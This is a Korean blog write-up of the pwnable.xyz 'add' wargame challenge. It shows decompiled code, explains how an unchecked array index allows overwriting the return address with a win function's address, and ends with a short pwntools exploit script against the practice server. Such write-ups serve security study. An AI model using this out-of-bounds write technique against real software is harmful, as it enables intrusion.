Pwnstar
Pwnable.xyz add 본문
sub 문제만큼 쉬운 문제였다.
보호기법은 카나리와 nx가 걸려있어서 overflow가 불가능하다.
IDA
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
__int64 v4; // [rsp+8h] [rbp-78h]
__int64 v5; // [rsp+10h] [rbp-70h]
__int64 v6; // [rsp+18h] [rbp-68h]
__int64 v7[11]; // [rsp+20h] [rbp-60h]
unsigned __int64 v8; // [rsp+78h] [rbp-8h]
v8 = __readfsqword(0x28u);
setup(*(_QWORD *)&argc, argv, envp);
while ( 1 )
{
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
memset(v7, 0, 80uLL);
printf("Input: ", argv, v7);
if ( (unsigned int)__isoc99_scanf("%ld %ld %ld", &v4, &v5, &v6) != 3 )
break;
v7[v6] = v4 + v5;
argv = (const char **)v7[v6];
printf("Result: %ld", argv);
}
result = 0;
__readfsqword(0x28u);
return result;
}
메인 함수는 요로케 되어있고, win 함수라고 친절하게 플래그를 보여주는 함수까지 있다. eip를 win함수 주소로 덮으면 될듯.
sub문제와 달리 3개의 수를 입력받은 뒤 v4와 v5를 합친 값을 v7[v6]에 넣어서 출력시켜준다. 그러면 eip를 컨트롤할 방법을 찾기 위해 10 11 15를 입력해서 값이 어떻게 들어가는 지 메모리 구조를 보자.
10(0xa), 11(0xb), 15(0xf)가 들어가 있는 것이 보인다. v7[v6] = v4 + v5; 부분에 브포를 걸고 진행해보자.
이 부분인데 rdx와 rcx를 더해서 QWORD pTR [rbp+rax*8-0x60]에 넣는다. 이 부분으로 eip 컨트롤을 할 수 있을 것 같다.
이 부분부터 0xf * 8바이트의 뒤에 0xa와 0xb를 더한 값이 들어갈 것이다. 엇 그러면 이 바로 다음에 21(0x15)가 있을 것이다.
있다 그러면 이제 +13에 위치해 있는
이 값을 덮어씌우면 될 것 같다. win 함수의 주소를 10진수로 바꿔서 입력할 때 (win함수 주소) 0 13 이렇게 주면 플래그를 볼 수 있을 것 같다.
ex.py
from pwn import*
p = remote("svc.pwnable.xyz", 30002)
p.recvuntil("Input: ")
payload = "4196386 0 13 a"
p.sendline(payload)
p.interactive()
짠
'Wargame > pwnable.xyz' 카테고리의 다른 글
Pwnable.xyz note (0) | 2020.11.12 |
---|---|
Pwnable.xyz GrownUp (0) | 2020.11.12 |
Pwnable.xyz misalignment (0) | 2020.11.09 |
Pwnable.xyz sub (0) | 2020.11.09 |
Pwnable.xyz welcome (0) | 2020.11.09 |
Comments